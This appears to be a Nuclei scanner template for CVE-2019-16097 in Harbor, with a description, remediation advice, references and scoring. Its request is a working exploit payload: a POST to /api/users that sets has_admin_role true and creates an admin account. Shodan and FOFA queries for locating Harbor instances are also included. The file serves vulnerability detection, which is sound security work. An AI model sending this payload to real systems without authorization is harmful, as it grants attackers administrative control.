58 lines
2.3 KiB
YAML
58 lines
2.3 KiB
YAML
id: CVE-2019-16097
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info:
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name: Harbor <=1.82.0 - Privilege Escalation
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author: pikpikcu
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severity: medium
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description: Harbor 1.7.0 through 1.8.2 is susceptible to privilege escalation via core/api/user.go, which allows allows non-admin users to create admin accounts via the POST /api/users API when Harbor is setup with DB as an authentication backend and allows user to do self-registration.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to escalate their privileges and gain unauthorized access to sensitive information.
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remediation: Upgrade to v1.7.6 v1.8.3. v.1.9.0 or higher. A potential workaround without applying the fix is to configure Harbor to use a non-DB authentication backend such as LDAP.
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reference:
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- https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/
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- https://github.com/goharbor/harbor/issues/8951
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- https://nvd.nist.gov/vuln/detail/CVE-2019-16097
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- https://github.com/goharbor/harbor/commit/b6db8a8a106259ec9a2c48be8a380cb3b37cf517
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- http://www.vmware.com/security/advisories/VMSA-2019-0015.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
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cvss-score: 6.5
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cve-id: CVE-2019-16097
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cwe-id: CWE-862
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epss-score: 0.96492
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epss-percentile: 0.99563
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cpe: cpe:2.3:a:linuxfoundation:harbor:1.7.0:-:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: linuxfoundation
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product: harbor
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shodan-query: http.favicon.hash:657337228
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fofa-query: icon_hash=657337228
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tags: cve,cve2019,intrusive,harbor,linuxfoundation
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http:
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- method: POST
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path:
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- '{{BaseURL}}/api/users'
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body: |
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{"username": "testpoc", "has_admin_role": true, "password": "TestPoc!", "email": "testpoc@interact.sh", "realname": "poc"}
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headers:
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Content-Type: application/json
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matchers-condition: and
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matchers:
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- type: word
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part: response
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words:
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- "username has already been used"
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- "Location: /api/users/"
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condition: or
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- type: status
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status:
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- 201
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- 409
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condition: or
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# digest: 490a00463044022032df3d6d70691f08d27ca8999aae73a3455a4e1e09b4d94acb631f95fdd1803402201b0257ba21bc3b329e02836db3955782171cff35a3998fe795a0ec1b9ec023c3:922c64590222798bb761d5b6d8e72950 |